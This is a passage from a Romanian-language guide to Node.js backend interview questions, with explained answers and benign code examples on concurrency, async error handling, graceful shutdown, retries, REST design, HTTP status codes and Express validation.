Un concept esențial este backpressure: dacă destinația scrie mai încet decât citește sursa, write() întoarce false, iar sursa trebuie să pună pauză până la evenimentul drain. pipeline și pipe fac asta automat.

De ce pipeline în loc de .pipe(): pipe nu propagă erorile și nu închide celelalte stream-uri dacă unul eșuează, ceea ce poate lăsa descriptori de fișier deschiși. Stream-urile Readable sunt și async iterable, deci poți scrie for await (const chunk of stream).

Ce urmărește intervievatorul: Verifică dacă te gândești la memorie și la date mari. Bonus important: menționarea backpressure-ului și a lui pipeline.

20 Mid

Care este diferența dintre worker_threads, modulul cluster și child_process?

Răspuns scurt: worker_threads rulează JavaScript în thread-uri separate din același proces, bune pentru calcule CPU. cluster pornește mai multe procese Node.js care împart același port, pentru a folosi toate nucleele la servirea de request-uri. child_process pornește orice program extern.

Toate trei ocolesc limita unui singur thread JavaScript, dar rezolvă probleme diferite.

worker_threads (stabil din Node.js 12): fiecare worker are propriul V8 isolate și propriul event loop, dar trăiește în același proces. Comunicarea se face prin mesaje (postMessage), iar memoria se poate partaja explicit cu SharedArrayBuffer. Potrivit pentru redimensionare de imagini, parsare de fișiere mari, criptografie custom, adică muncă CPU care altfel ar bloca event loop-ul.

JavaScript
import { Worker } from 'node:worker_threads';
const w = new Worker('./hash-worker.js', { workerData: { input } });
w.on('message', (result) => console.log(result));
w.on('error', console.error);

Pornirea unui worker costă, așa că în producție se folosește un pool (de exemplu biblioteca piscina).

cluster: procesul primar face fork la N procese worker, de obicei câte unul pe nucleu, care primesc conexiuni pe același port. Fiecare proces are memorie proprie, deci starea în memorie (sesiuni, cache) nu este partajată. Astăzi, în containere, se preferă des un proces per container și scalarea prin orchestrator (Kubernetes, Docker Swarm) sau PM2 în mod cluster.

child_process: spawn, exec, execFile, fork pornesc programe externe, de exemplu ffmpeg sau un script Python. exec trece prin shell, deci nu trebuie folosit niciodată cu input de la utilizator (risc de command injection); execFile sau spawn cu argumente separate sunt varianta sigură.

Ce urmărește intervievatorul: Arată dacă știi să alegi unealta după tipul de problemă: CPU vs scalare de request-uri vs program extern. Greșeala tipică: worker threads „ca să meargă request-urile mai repede”.

21 Senior

Cum îți dai seama că event loop-ul este blocat și cum rezolvi problema?

Răspuns scurt: Semnele sunt latență mare pentru toate request-urile simultan, health check-uri care expiră și CPU la 100% pe un nucleu. Măsori întârzierea loop-ului cu perf_hooks.monitorEventLoopDelay, găsești funcția vinovată cu un profiler, apoi o optimizezi, o fragmentezi sau o muți într-un worker.

Un event loop blocat înseamnă că un callback rulează mult timp sincron. Cauze frecvente în producție:

  • JSON.parse/JSON.stringify pe payload-uri de mulți megaocteți;
  • expresii regulate cu backtracking catastrofal (ReDoS) pe input de la utilizator;
  • funcții sincrone: fs.readFileSync, crypto.pbkdf2Sync, bcrypt.hashSync în request;
  • bucle peste zeci de mii de elemente cu procesare grea, sortări mari în memorie.

Măsurare. Întârzierea event loop-ului este metrica de bază:

JavaScript
import { monitorEventLoopDelay } from 'node:perf_hooks';
const h = monitorEventLoopDelay({ resolution: 20 });
h.enable();
setInterval(() => {
  console.log('p99 ms', h.percentile(99) / 1e6);
  h.reset();
}, 10_000);

O valoare p99 de sute de milisecunde indică blocare. Cauza o găsești cu node --cpu-prof (generează un .cpuprofile de deschis în Chrome DevTools) sau cu un flame graph produs de unelte ca 0x sau Clinic.js. Cauți funcțiile late din grafic.

Rezolvare, în ordinea preferinței:

  • elimini munca: limitezi mărimea body-ului, paginezi, muți agregarea în baza de date;
  • folosești variante asincrone ale API-urilor;
  • rescrii regex-ul vulnerabil sau validezi lungimea înainte;
  • muți calculul într-un pool de worker_threads sau într-un job de fundal procesat din coadă;
  • ca ultimă variantă, fragmentezi bucla cu setImmediate între loturi.

Un load balancer cu health check pe un endpoint simplu te ajută să detectezi instanțele blocate.

Ce urmărește intervievatorul: La senior se așteaptă metrici concrete și un proces de diagnostic. Greșeala tipică este să recomanzi „mai multe instanțe” fără să găsești cauza.

22 Senior

Cum implementezi un graceful shutdown pentru un server Node.js?

Răspuns scurt: La primirea semnalului SIGTERM, serverul nu mai acceptă conexiuni noi, termină request-urile în curs, închide resursele (pool-ul de baze de date, conexiunile la cozi) și abia apoi iese, cu un timeout de siguranță care forțează ieșirea.

Orchestratoarele (Docker, Kubernetes, systemd) opresc un proces trimițând SIGTERM, apoi, după o perioadă de grație (implicit 10 secunde în Docker, 30 în Kubernetes), SIGKILL. Dacă aplicația ignoră SIGTERM sau iese brusc, request-urile în curs se pierd, tranzacțiile rămân la jumătate și clienții primesc erori la fiecare deploy.

JavaScript
const server = app.listen(config.PORT);
let shuttingDown = false;

async function shutdown(signal) {
  if (shuttingDown) return;
  shuttingDown = true;
  logger.info({ signal }, 'shutting down');

  const force = setTimeout(() => process.exit(1), 25_000);
  force.unref();

  server.close(async () => {          // nu mai acceptă conexiuni noi
    await pool.end();                 // închide conexiunile la DB
    await queue.close();
    process.exit(0);
  });
  server.closeIdleConnections?.();    // Node.js 18.2+
}

process.on('SIGTERM', shutdown);
process.on('SIGINT', shutdown);

Detalii care deosebesc un răspuns bun:

  • server.close() așteaptă conexiunile active; conexiunile keep-alive inactive le închizi cu closeIdleConnections(), iar Node.js 19+ face asta automat la close;
  • în Kubernetes, endpoint-ul de readiness începe să răspundă cu 503 imediat ce a început oprirea, ca load balancer-ul să nu mai trimită trafic;
  • în Docker, dacă pornești aplicația prin npm start sau un script shell, semnalul poate să nu ajungă la Node.js; folosește forma exec CMD ["node", "server.js"] sau --init;
  • worker-ii de cozi trebuie să termine job-ul curent și să nu preia altele noi.

Ce urmărește intervievatorul: Verifică experiența cu producția și deploy-uri fără downtime. Greșeala tipică: process.exit() direct sau ignorarea semnalelor în container.

Programare asincronă

23 Junior

Care este diferența dintre callback-uri, Promise și async/await?

Răspuns scurt: Toate trei exprimă cod asincron. Callback-urile primesc rezultatul ca argument și duc ușor la imbricare adâncă. Promise reprezintă o valoare viitoare și permite înlănțuire și tratare unitară a erorilor. async/await este sintaxă peste Promise care face codul să arate secvențial.

Callback-uri. API-urile vechi din Node.js folosesc convenția „error-first”: ultimul argument este o funcție (err, result). Pentru pași dependenți ajungi la imbricare („callback hell”), iar erorile trebuie verificate manual la fiecare nivel.

JavaScript
fs.readFile('a.json', 'utf8', (err, data) => {
  if (err) return handle(err);
  db.save(JSON.parse(data), (err2) => { if (err2) return handle(err2); });
});

Promise. Un obiect cu trei stări: pending, fulfilled, rejected. Se trece o singură dată dintr-o stare finală. .then întoarce un Promise nou, deci poți înlănțui, iar un singur .catch prinde erorile de oriunde din lanț.

async/await (Node.js 7.6+). O funcție async întoarce mereu un Promise; await suspendă funcția până se rezolvă promisiunea, fără să blocheze thread-ul. Erorile se prind cu try/catch obișnuit.

JavaScript
import { readFile } from 'node:fs/promises';

async function importFile(path) {
  const data = await readFile(path, 'utf8');
  await db.save(JSON.parse(data));
}

Pentru API-uri vechi pe callback există util.promisify, iar majoritatea modulelor de bază au variante pe promisiuni (node:fs/promises, node:timers/promises).

Important: await nu face codul mai rapid și nu îl face paralel. Două await consecutive rulează una după alta; dacă operațiile sunt independente, le pornești împreună cu Promise.all.

Ce urmărește intervievatorul: Se verifică baza programării asincrone. Greșeala tipică este să crezi că await blochează procesul sau că face operațiile paralele.

24 Junior

Care este diferența dintre Promise.all, Promise.allSettled, Promise.race și Promise.any?

Răspuns scurt: all așteaptă toate și eșuează la prima respingere. allSettled așteaptă toate și raportează fiecare rezultat. race se rezolvă cu prima promisiune terminată, indiferent dacă a reușit sau nu. any se rezolvă cu prima reușită și eșuează doar dacă toate eșuează.

Toate primesc un iterabil de promisiuni care deja rulează; ele nu pornesc operațiile, doar le așteaptă.

Promise.all: rezultatele în aceeași ordine ca intrarea. Dacă una e respinsă, promisiunea întoarsă e respinsă imediat cu acea eroare, dar celelalte operații nu se opresc, ci continuă în fundal.

JavaScript
const [user, orders] = await Promise.all([
  usersRepo.findById(id),
  ordersRepo.findByUser(id),
]);

Potrivit când ai nevoie de toate rezultatele și orice eșec face cererea inutilă.

Promise.allSettled (ES2020): nu respinge niciodată; întoarce obiecte { status: 'fulfilled', value } sau { status: 'rejected', reason }. Bun pentru operații independente unde eșecul uneia nu le anulează pe celelalte, de exemplu trimiterea de notificări către mai mulți destinatari.

Promise.race: prima care se termină câștigă. Uzul clasic este un timeout:

JavaScript
const timeout = (ms) => new Promise((_, rej) =>
  setTimeout(() => rej(new Error('timeout')), ms));
await Promise.race([fetchPrice(), timeout(2000)]);

Operația lentă nu este anulată; pentru anulare reală ai nevoie de AbortSignal.

Promise.any (ES2021): prima reușită; dacă toate eșuează, aruncă AggregateError cu toate erorile. Util când interoghezi mai multe surse redundante și îți ajunge una.

Ce urmărește intervievatorul: Verifică dacă alegi combinatorul potrivit și știi că operațiile nu se anulează. Greșeala tipică: Promise.all acolo unde un singur eșec nu ar trebui să strice totul.

25 Junior

Cum tratezi corect erorile în codul cu async/await și ce se întâmplă cu o promisiune respinsă netratată?

Răspuns scurt: Folosești try/catch în jurul await-urilor sau .catch pe promisiuni și propagi eroarea până la un handler central. O respingere netratată declanșează unhandledRejection, iar din Node.js 15 procesul se oprește implicit.

Într-o funcție async, o promisiune respinsă la await se comportă ca un throw, deci o prinzi cu try/catch:

JavaScript
async function getUser(id) {
  try {
    return await repo.findById(id);
  } catch (err) {
    throw new DatabaseError('Nu am putut citi utilizatorul', { cause: err });
  }
}

Opțiunea cause (Node.js 16.9+) păstrează eroarea originală pentru loguri.

Greșeli frecvente:

  • return promise fără await într-un try: dacă promisiunea e respinsă, catch-ul local nu o prinde, pentru că funcția a ieșit deja din try. Scrie return await.
  • Promisiuni „aruncate”: apelezi sendEmail() fără await și fără .catch. Dacă eșuează, apare o respingere netratată.
  • Callback-uri async în locuri care ignoră promisiunea: emitter.on('x', async () => {...}) sau setTimeout(async () => ...); eroarea nu ajunge la nimeni.
  • Express 4 nu prinde respingerile din handlere async; ai nevoie de wrapper sau de next(err). Express 5 le transmite automat la middleware-ul de erori.

Comportamentul global: din Node.js 15, modul implicit --unhandled-rejections=throw transformă o respingere netratată într-o excepție necapturată care oprește procesul. Este un comportament bun: o stare neprevăzută e mai sigur tratată prin repornire decât prin continuare.

JavaScript
process.on('unhandledRejection', (reason) => {
  logger.fatal({ reason }, 'unhandled rejection');
  process.exit(1);
});

Handler-ul global servește pentru logare, nu pentru „înghițirea” erorilor.

Ce urmărește intervievatorul: Se urmărește dacă ai avut de-a face cu erori pierdute în producție. Capcana return fără await în try și Express 4 apar des.

26 Junior

De ce nu funcționează cum te aștepți await într-un forEach și cum rulezi operații secvențial sau în paralel?

Răspuns scurt: forEach ignoră promisiunea returnată de callback-ul async, deci nu așteaptă nimic și erorile se pierd. Pentru execuție secvențială folosești for...of cu await, iar pentru execuție paralelă Promise.all cu map.

Array.prototype.forEach apelează callback-ul pentru fiecare element și aruncă valoarea întoarsă. Un callback async întoarce o promisiune, pe care forEach nu o așteaptă:

JavaScript
async function notifyAll(users) {
  users.forEach(async (u) => {
    await sendEmail(u);       // pornește, dar nimeni nu așteaptă
  });
  console.log('gata');        // se afișează înainte de orice email trimis
}

În plus, dacă un sendEmail eșuează, respingerea nu este tratată de nimeni.

Secvențial, câte unul, când ordinea contează sau vrei să nu suprasoliciți un serviciu:

JavaScript
for (const u of users) {
  await sendEmail(u);
}

Paralel, toate odată, când operațiile sunt independente:

JavaScript
await Promise.all(users.map((u) => sendEmail(u)));

Timpul total devine aproximativ cel al celei mai lente operații, nu suma lor.

Paralelismul nelimitat are însă riscuri: 10.000 de request-uri simultane către un API extern sau către baza de date pot depăși limitele de rată sau epuiza pool-ul de conexiuni. Soluția este un nivel intermediar: procesare în loturi sau o limită de concurență, de exemplu cu biblioteca p-limit.

Același lucru se aplică pentru map, filter, reduce cu callback-uri async: filter nu poate folosi un predicat async, pentru că orice promisiune este „truthy”.

Ce urmărește intervievatorul: Este o greșeală foarte frecventă în cod real și o întrebare favorită. Răspunsul bun menționează și riscul paralelismului nelimitat.

27 Mid

Ce afișează un script care combină o funcție async cu await, un setTimeout(..., 0) și un Promise.resolve().then(...)? (codul este în răspuns)

Răspuns scurt: Afișează 3 1 6 2 5 4. Codul sincron rulează primul (3, 1, 6), apoi microtask-urile în ordinea programării (continuarea după await cu 2, apoi .then cu 5), iar la final macrotask-ul setTimeout (4).

Codul discutat:

JavaScript
async function a() {
  console.log(1);
  await null;
  console.log(2);
}
console.log(3);
setTimeout(() => console.log(4), 0);
a();
Promise.resolve().then(() => console.log(5));
console.log(6);

Urmărim execuția pas cu pas.

1. console.log(3): afișează 3. 2. setTimeout programează un callback în coada de timere (macrotask). 3. Se apelează a(). O funcție async rulează sincron până la primul await, deci afișează 1. La await null, valoarea este împachetată într-o promisiune deja rezolvată, iar restul funcției este programat ca microtask. a() întoarce controlul. 4. Promise.resolve().then(...) programează încă un microtask, după cel de la pasul 3. 5. console.log(6): afișează 6.

Scriptul sincron s-a terminat. Înainte de orice timer, Node.js golește coada de microtask-uri, în ordinea în care au fost adăugate:

6. continuarea lui a(): afișează 2; 7. callback-ul .then: afișează 5.

Abia apoi event loop-ul ajunge la faza timers și afișează 4.

3
1
6
2
5
4

Ideile verificate:

  • o funcție async nu este „complet asincronă”; partea de dinainte de primul await rulează imediat;
  • await cedează controlul chiar dacă valoarea nu este o promisiune;
  • microtask-urile (promisiuni) se execută integral înaintea următorului macrotask (timer, I/O).

Ordinea exactă dintre 2 și 5 depinde de faptul că await pe o valoare non-thenable costă un singur tick de la optimizarea din V8 7.2 (Node.js 12). În versiuni mai vechi, rezultatul putea diferi.

Ce urmărește intervievatorul: Exercițiu clasic pentru nivel mid. Se urmărește dacă știi că funcția async începe sincron și cum sunt ordonate microtask-urile.

28 Mid

Cum ai implementa un mecanism de retry cu exponential backoff pentru apeluri către un serviciu extern?

Răspuns scurt: Reîncerci operația doar pentru erori temporare (timeout, 429, 5xx), cu un număr maxim de încercări și o pauză care crește exponențial între ele, plus o componentă aleatoare (jitter) ca să nu reîncerce toți clienții simultan.

Serviciile externe au erori trecătoare: o rețea instabilă, un server repornit, o limită de rată atinsă. O reîncercare imediată, repetată fără pauză, agravează problema. Backoff-ul exponențial dă serviciului timp să își revină.

JavaScript
import { setTimeout as sleep } from 'node:timers/promises';

const RETRYABLE = new Set([408, 429, 500, 502, 503, 504]);

async function withRetry(fn, { retries = 4, baseMs = 200, maxMs = 5000 } = {}) {
  for (let attempt = 0; ; attempt++) {
    try {
      return await fn();
    } catch (err) {
      const retryable = RETRYABLE.has(err.status) || err.code === 'ECONNRESET';
      if (!retryable || attempt >= retries) throw err;
      const cap = Math.min(maxMs, baseMs * 2 ** attempt);
      await sleep(Math.random() * cap);   // „full jitter”
    }
  }
}

const rate = await withRetry(() => exchangeApi.getRate('EUR'));

Puncte importante:

  • Ce reîncerci: nu reîncerci 400, 401, 404 sau erori de validare, pentru că vor eșua la fel.
  • Idempotență: reîncercarea unui POST /payments poate crea o plată dublă dacă primul apel a reușit, dar răspunsul s-a pierdut. Reîncerci doar operații idempotente sau trimiți o cheie de idempotență.
  • Header-ul Retry-After la 429 sau 503 trebuie respectat.
  • Timeout pe fiecare încercare, altfel o singură încercare blocată ține totul.
  • Buget total: pentru un request de utilizator, suma reîncercărilor nu trebuie să depășească timpul pe care clientul e dispus să aștepte.

Pentru dependențe care pică des, se adaugă un circuit breaker, care oprește temporar apelurile după prea multe eșecuri.

Ce urmărește intervievatorul: Se verifică gândirea despre sisteme distribuite. Greșelile tipice: reîncercări pentru orice eroare și ignorarea idempotenței.

29 Mid

Cum pui un timeout și anulezi un request HTTP în Node.js?

Răspuns scurt: Folosești AbortController sau, mai simplu, AbortSignal.timeout(ms) și transmiți semnalul către fetch sau către alte API-uri care acceptă opțiunea signal. La expirare, operația este anulată efectiv și promisiunea este respinsă cu o eroare de tip AbortError sau TimeoutError.

Fără timeout, un apel către un serviciu care nu răspunde poate ține request-ul tău deschis la nesfârșit, ocupând memorie și conexiuni. Promise.race cu un timer doar nu mai așteaptă rezultatul, dar operația continuă în fundal. AbortSignal chiar o oprește.

fetch este global și stabil din Node.js 21 (experimental din 18):

JavaScript
async function getWeather(city) {
  try {
    const res = await fetch(`https://api.example.com/weather?q=${encodeURIComponent(city)}`, {
      signal: AbortSignal.timeout(3000),
    });
    if (!res.ok) throw new Error(`HTTP ${res.status}`);
    return await res.json();
  } catch (err) {
    if (err.name === 'TimeoutError') throw new UpstreamTimeoutError('weather', { cause: err });
    throw err;
  }
}

Atenție: fetch nu respinge promisiunea pentru 4xx sau 5xx, doar pentru erori de rețea; trebuie să verifici res.ok.

Pentru anulare manuală, de exemplu când clientul tău a închis conexiunea, folosești un AbortController:

JavaScript
app.get('/report', async (req, res) => {
  const ac = new AbortController();
  req.on('close', () => ac.abort());
  const data = await buildReport({ signal: ac.signal });
  res.json(data);
});

Multe API-uri acceptă signal: fs/promises.readFile, timers/promises.setTimeout, events.once, driverele moderne de baze de date sau clienți HTTP. Poți combina semnale cu AbortSignal.any([s1, s2]) (Node.js 20.3+).

Timeout-urile trebuie alese în cascadă: apelurile interne au timeout mai mic decât cel al request-ului care le conține.

Ce urmărește intervievatorul: Verifică dacă știi diferența dintre a nu mai aștepta și a anula efectiv. Mulți nu știu că fetch nu aruncă la status 500.

30 Senior

Scrie o funcție care rulează o listă de task-uri asincrone cu o limită de concurență (de exemplu, maxim 5 simultan).

Răspuns scurt: Pornești un număr fix de „lucrători” care iau pe rând următorul task dintr-un index comun, până se termină lista. Rezultatele se pun pe poziția originală, iar funcția se rezolvă cu Promise.all pe lucrători.

Problema apare des: ai 2.000 de imagini de procesat sau de ID-uri pentru care chemi un API cu limită de rată. Secvențial este prea lent, Promise.all pe tot este prea agresiv.

JavaScript
async function mapWithLimit(items, limit, fn) {
  const results = new Array(items.length);
  let next = 0;

  async function worker() {
    while (next < items.length) {
      const i = next++;            // sigur: JS rulează pe un singur thread
      results[i] = await fn(items[i], i);
    }
  }

  const workers = Array.from({ length: Math.min(limit, items.length) }, worker);
  await Promise.all(workers);
  return results;
}

const users = await mapWithLimit(ids, 5, (id) => api.getUser(id));

De ce funcționează: fiecare lucrător ia un index și îl incrementează sincron, deci doi lucrători nu pot lua același element. Nu există condiții de cursă, pentru că între citirea și incrementarea lui next nu există await. Când un task se termină, lucrătorul trece imediat la următorul, deci în orice moment rulează cel mult limit operații.

Comportamentul la erori: dacă un task aruncă, lucrătorul respectiv se oprește, iar Promise.all respinge, dar ceilalți lucrători continuă. Variante de discutat cu intervievatorul:

  • colectezi erorile per element (ca allSettled) în loc să oprești totul;
  • adaugi un flag aborted care oprește lucrătorii la prima eroare;
  • suporți un AbortSignal.

În producție poți folosi p-limit sau p-map, dar implementarea manuală arată că înțelegi modelul de concurență din JavaScript.

Ce urmărește intervievatorul: Exercițiu de cod care verifică stăpânirea concurenței asincrone. Se urmărește corectitudinea ordinii rezultatelor și discuția despre erori.

API-uri REST și design de sistem

31 Junior

Ce înseamnă că un API este REST și care sunt principiile lui?

Răspuns scurt: REST este un stil de arhitectură în care expui resurse identificate prin URL-uri și le manipulezi cu metodele HTTP standard, cu comunicare fără stare (stateless) între client și server. Fiecare request conține tot ce trebuie pentru a fi procesat.

REST (Representational State Transfer) a fost descris de Roy Fielding în teza sa din 2000. Principiile care contează în practică:

  • Resurse și URL-uri: substantive, nu verbe. GET /orders/42, nu GET /getOrder?id=42. Colecțiile sunt la plural, iar relațiile se pot exprima prin ierarhie: /users/7/orders.
  • Metode HTTP cu sens: GET citește, POST creează, PUT înlocuiește, PATCH modifică parțial, DELETE șterge.
  • Stateless: serverul nu ține minte sesiunea clientului între request-uri; autentificarea vine la fiecare apel (token, cookie de sesiune validat). Asta permite scalarea pe orizontală: orice instanță poate servi orice request.
  • Reprezentări: aceeași resursă poate fi trimisă ca JSON sau alt format, negociat prin header-ele Accept și Content-Type.
  • Cacheability: răspunsurile își declară dacă pot fi puse în cache.
  • Interfață uniformă: coduri de status standard, formate consistente de eroare.

Exemplu de design pentru un magazin:

GET    /products?category=carti&page=2
GET    /products/15
POST   /orders              -> 201 Created, Location: /orders/981
PATCH  /orders/981          {"status": "cancelled"}
DELETE /cart/items/3        -> 204 No Content

În practică, multe API-uri numite „REST” nu respectă toate constrângerile (de exemplu HATEOAS, adică linkuri către acțiunile posibile în răspuns, este rar implementat). Intervievatorul vrea de obicei să vadă că știi să proiectezi URL-uri curate, să alegi metoda și statusul corect și să ții API-ul consistent.

Ce urmărește intervievatorul: Întrebare de bază pentru orice backend developer. Greșeala tipică: verbe în URL și folosirea lui POST pentru orice.

32 Junior

Ce înseamnă că o metodă HTTP este idempotentă și care sunt metodele idempotente? Care e diferența dintre PUT și PATCH?

Răspuns scurt: O metodă este idempotentă dacă repetarea aceluiași request are același efect asupra serverului ca un singur apel. GET, PUT, DELETE, HEAD și OPTIONS sunt idempotente, POST nu este, iar PATCH nu este garantat. PUT înlocuiește resursa întreagă, PATCH modifică doar câmpurile trimise.

Specificația HTTP (RFC 9110) definește două proprietăți:

  • safe: metoda nu modifică starea serverului (GET, HEAD, OPTIONS);
  • idempotent: N apeluri identice lasă serverul în aceeași stare ca unul singur (metodele safe, plus PUT și DELETE).

DELETE /orders/5 apelat de două ori: prima dată șterge, a doua oară comanda nu mai există. Răspunsul poate diferi (204, apoi 404), dar starea finală este aceeași, deci este idempotent. POST /orders apelat de două ori creează două comenzi.

De ce contează: rețeaua pierde răspunsuri. Clienții, proxy-urile și bibliotecile de retry pot repeta automat request-urile idempotente fără risc. Pentru POST ai nevoie de mecanisme suplimentare, cum ar fi o cheie de idempotență.

PUT vs PATCH:

PUT /users/7     {"name": "Ana", "email": "ana@ex.ro", "phone": null}
PATCH /users/7   {"phone": "0712..."}

PUT trimite reprezentarea completă; câmpurile lipsă ar trebui considerate eliminate sau resetate. De aceea e idempotent: același corp produce mereu aceeași stare. PATCH trimite doar modificarea. Un PATCH de tip „setează telefonul” este idempotent în practică, dar unul de tip „adaugă 10 la stoc” nu este, deci specificația nu îl garantează.

Există formate standard pentru PATCH: JSON Merge Patch (RFC 7396) și JSON Patch (RFC 6902), dar multe API-uri folosesc pur și simplu un obiect parțial.

Ce urmărește intervievatorul: Verifică înțelegerea semanticii HTTP, nu doar a numelor de metode. Greșeala tipică este să confunzi idempotent cu „întoarce același răspuns”.

33 Junior

Ce coduri de status HTTP folosești pentru situațiile uzuale dintr-un API?

Răspuns scurt: 2xx pentru succes (200, 201 la creare, 204 fără conținut), 4xx pentru erori ale clientului (400 date invalide, 401 neautentificat, 403 fără drept, 404 negăsit, 409 conflict, 422 validare, 429 prea multe cereri) și 5xx pentru erori ale serverului (500, 502, 503, 504).

Codul de status este primul lucru pe care îl citesc clienții, proxy-urile și sistemele de monitorizare, deci trebuie să fie corect, nu doar mesajul din body.

2xx, succes

  • 200 OK: răspuns cu conținut;
  • 201 Created: resursă creată, ideal cu header Location;
  • 202 Accepted: cererea a fost primită, procesarea se face asincron;
  • 204 No Content: succes fără body, frecvent la DELETE.

4xx, clientul a greșit

  • 400 Bad Request: JSON invalid, parametri lipsă;
  • 401 Unauthorized: lipsește autentificarea sau token-ul e invalid (numele e istoric, înseamnă de fapt „neautentificat”);
  • 403 Forbidden: autentificat, dar fără permisiune;
  • 404 Not Found;
  • 409 Conflict: email deja existent, conflict de versiune;
  • 422 Unprocessable Content: date bine formate, dar care nu trec regulile de business (unele echipe folosesc 400 pentru toate erorile de validare; important e să fii consecvent);
  • 429 Too Many Requests, cu Retry-After.

5xx, serverul a greșit

  • 500: eroare neprevăzută;
  • 502/504: un serviciu din spate a răspuns greșit sau nu a răspuns la timp;
  • 503: serviciu temporar indisponibil (mentenanță, supraîncărcare).

Două greșeli frecvente: 200 cu { "success": false } pentru erori, care strică retry-urile și monitorizarea, și 500 pentru date invalide de la client, care umple alertele cu probleme ce nu țin de server. Un format consecvent de eroare ajută, de exemplu RFC 9457 „Problem Details”: { "type", "title", "status", "detail" }.

Ce urmărește intervievatorul: Arată atenție la contractul API. Confuzia 401 vs 403 și erorile întoarse cu 200 sunt greșelile cele mai frecvente.

34 Junior

Ce este un middleware în Express și cum funcționează lanțul de middleware-uri?

Răspuns scurt: Un middleware este o funcție (req, res, next) care rulează în ordinea înregistrării pentru fiecare request potrivit. Poate modifica req/res, poate încheia răspunsul sau poate chema next() ca să treacă la următorul; un middleware cu patru argumente tratează erorile.

Express construiește o listă de funcții pentru fiecare request: middleware-urile globale (app.use), cele de router și handler-ul rutei. Le apelează în ordinea în care au fost înregistrate.

JavaScript
import express from 'express';
const app = express();

app.use(express.json({ limit: '1mb' }));     // parsează body-ul JSON

app.use((req, res, next) => {                 // logare simplă
  const start = Date.now();
  res.on('finish', () =>
    console.log(req.method, req.url, res.statusCode, Date.now() - start, 'ms'));
  next();
});

app.get('/me', authenticate, (req, res) => res.json(req.user));

app.use((err, req, res, next) => {            // handler de erori
  res.status(err.status ?? 500).json({ error: err.message });
});

Reguli importante:

  • un middleware trebuie fie să trimită răspunsul, fie să cheme next(); dacă nu face niciuna, request-ul rămâne agățat până la timeout;
  • next(err) sare peste middleware-urile normale direct la cele de eroare, recunoscute prin semnătura cu 4 parametri;
  • ordinea contează: express.json() trebuie să fie înaintea rutelor care citesc req.body, iar handler-ul de erori la final;
  • să nu trimiți răspunsul de două ori; eroarea Cannot set headers after they are sent apare când chemi res.json și apoi next() sau încă un res.send.

Exemple tipice de middleware: autentificare, CORS, rate limiting, helmet pentru headere de securitate, request ID, compresie. Același model există în Koa și, sub formă de hooks, în Fastify.

Ce urmărește intervievatorul: Express este încă framework-ul cel mai întâlnit în proiectele Node.js. Se verifică înțelegerea ordinii și a lui next.

35 Junior

Cum validezi datele primite într-un endpoint?

Răspuns scurt: Validezi la granița aplicației tot ce vine din exterior (body, query, parametri de rută, header-e) cu o schemă declarativă, de exemplu Zod, Joi sau JSON Schema, și respingi cu 400 sau 422 orice nu se potrivește, înainte ca datele să ajungă la logica de business.

Regula de bază: nu ai încredere în nimic din request. Clientul poate trimite câmpuri lipsă, tipuri greșite, string-uri de 10 MB, câmpuri în plus precum "role": "admin" sau valori negative la cantitate.

Cu o schemă, validarea devine declarativă și reutilizabilă:

JavaScript
import { z } from 'zod';

const CreateOrder = z.object({
  productId: z.string().uuid(),
  quantity: z.number().int().min(1).max(100),
  note: z.string().max(500).optional(),
});

const validate = (schema) => (req, res, next) => {
  const result = schema.safeParse(req.body);
  if (!result.success) {
    return res.status(400).json({ error: 'ValidationError', details: result.error.issues });
  }
  req.body = result.data;   // doar câmpurile cunoscute, deja convertite
  next();
};

app.post('/orders', validate(CreateOrder), createOrder);

Detalii care contează:

  • z.object elimină implicit cheile necunoscute, ceea ce previne „mass assignment”, adică setarea de câmpuri pe care clientul nu ar trebui să le controleze;
  • parametrii din query sunt string-uri; folosești z.coerce.number() sau conversie explicită;
  • limitezi mărimea body-ului (express.json({ limit })) și lungimea string-urilor;
  • validarea de format (schema) e diferită de validarea de business („produsul există”, „stoc suficient”), care stă în serviciu și poate întoarce 404 sau 409.

Fastify are validare integrată prin JSON Schema, iar NestJS folosește class-validator cu DTO-uri. Ideea e aceeași.

Ce urmărește intervievatorul: Verifică reflexul de securitate și calitatea codului. Greșeala tipică: validare manuală împrăștiată prin controllere sau doar pe frontend.

36 Junior

Cum tratezi erorile centralizat într-o aplicație Express?

Răspuns scurt: Definești clase de eroare cu cod de status, le arunci din servicii, le transmiți la next(err) (automat în Express 5) și ai un singur middleware de eroare la final care le transformă în răspunsuri JSON consecvente, loghează detaliile și ascunde informațiile interne.

Fără o abordare centrală, fiecare controller are propriul try/catch cu propriul format de răspuns, iar erorile neprevăzute ajung la client cu stack trace.

1. Erori de domeniu cu status:

JavaScript
export class AppError extends Error {
  constructor(message, status = 500, code = 'INTERNAL') {
    super(message);
    this.status = status;
    this.code = code;
  }
}
export class NotFoundError extends AppError {
  constructor(what) { super(`${what} nu a fost găsit`, 404, 'NOT_FOUND'); }
}

2. Serviciile aruncă, controllerele nu formatează:

JavaScript
async function getOrder(req, res) {
  const order = await orders.findById(req.params.id);
  if (!order) throw new NotFoundError('Comanda');
  res.json(order);
}

În Express 4, o eroare aruncată dintr-un handler async nu ajunge la next; ai nevoie de un wrapper (fn) => (req, res, next) => fn(req, res, next).catch(next) sau de pachetul express-async-errors. Express 5 face asta nativ.

3. Un singur handler, la final:

JavaScript
app.use((err, req, res, next) => {
  const status = err.status ?? 500;
  if (status >= 500) logger.error({ err, reqId: req.id }, 'unhandled');
  res.status(status).json({
    code: err.code ?? 'INTERNAL',
    message: status >= 500 ? 'Eroare internă' : err.message,
    requestId: req.id,
  });
});

Principii: erorile 5xx nu expun mesajul intern sau stack-ul, dar sunt logate complet; erorile 4xx sunt explicate clar clientului; un requestId leagă răspunsul de log. Se adaugă și un handler pentru rute inexistente, care întoarce 404 în același format.

Ce urmărește intervievatorul: Se verifică structura codului și grija pentru informațiile expuse. Greșeala tipică: res.status(500).send(err.stack).

37 Mid

Cum ai structura un proiect backend Node.js de dimensiune medie?

Răspuns scurt: Separi codul pe straturi cu responsabilități clare: rute și controllere (HTTP), servicii (logica de business), repository-uri sau modele (acces la date), plus module de configurare, middleware și erori. Pentru proiecte mai mari, organizezi pe funcționalități (users, orders) în loc de tipuri de fișiere.

Scopul structurii este ca logica de business să nu depindă de Express sau de baza de date, ca să o poți testa și schimba ușor.

src/
  config/          # citire și validare variabile de mediu
  modules/
    orders/
      orders.routes.js       # definire rute + middleware de validare
      orders.controller.js   # citește req, cheamă serviciul, scrie res
      orders.service.js      # reguli de business, tranzacții
      orders.repository.js   # query-uri SQL / ORM
      orders.schema.js       # scheme de validare
    users/ ...
  middleware/      # auth, error handler, request id
  lib/             # logger, client DB, client HTTP
